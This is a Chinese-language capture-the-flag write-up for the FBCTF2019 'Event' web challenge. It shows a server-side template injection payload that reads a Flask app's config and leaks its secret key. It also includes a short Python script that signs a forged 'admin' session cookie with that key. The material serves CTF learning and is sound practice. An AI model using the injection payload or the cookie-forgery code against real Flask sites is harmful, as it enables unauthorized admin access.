[FBCTF2019]Event
知识点
从HCTF两道Web题谈谈flask客户端session机制
解题步骤
一个简单的登录框。
先随便搞个帐号注册登录。
发现输入框
然后不懂咋写
看wp:https://www.cnblogs.com/karsa/p/13726823.html (后面部分内容来自该wp)
没想到看到
/flag
的链接就可以怀疑是python后端。倒是能看出cookie的.分式像flask的东西,但是用{{}}
却无法注入在event_important处注入
可以看到flask后端
然后就可以用
__class__.__init__.__globals__[app].config
来进行配置读取第一行获取到密钥。
根据上面的知识点链接,和wp的总结:
- flask原理:json->zlib->base64后的源字符串 . 时间戳 . hmac签名信息
- 在flask/sessions.py中,SecureCookieSessionInterface用于封装对CookieSession的一系列操作
- 默认的序列化方式为session_json_serializer = TaggedJSONSerializer()
- SecureCookieSessionInterface类的获取签名验证序列化器函数为get_signing_serializer
所以,用以下exp来获取cookie
from flask import Flask
from flask.sessions import SecureCookieSessionInterface
app = Flask(__name__)
app.secret_key = b'fb+wwn!n1yo+9c(9s6!_3o#nqm&&_ej$tez)$_ik36n8d7o6mr#y'
session_serializer = SecureCookieSessionInterface().get_signing_serializer(app)
@app.route('/')
def index():
print(session_serializer.dumps("admin"))
index()
然后将生成的cookie替换到user的cookie,去admin panel即可得到flag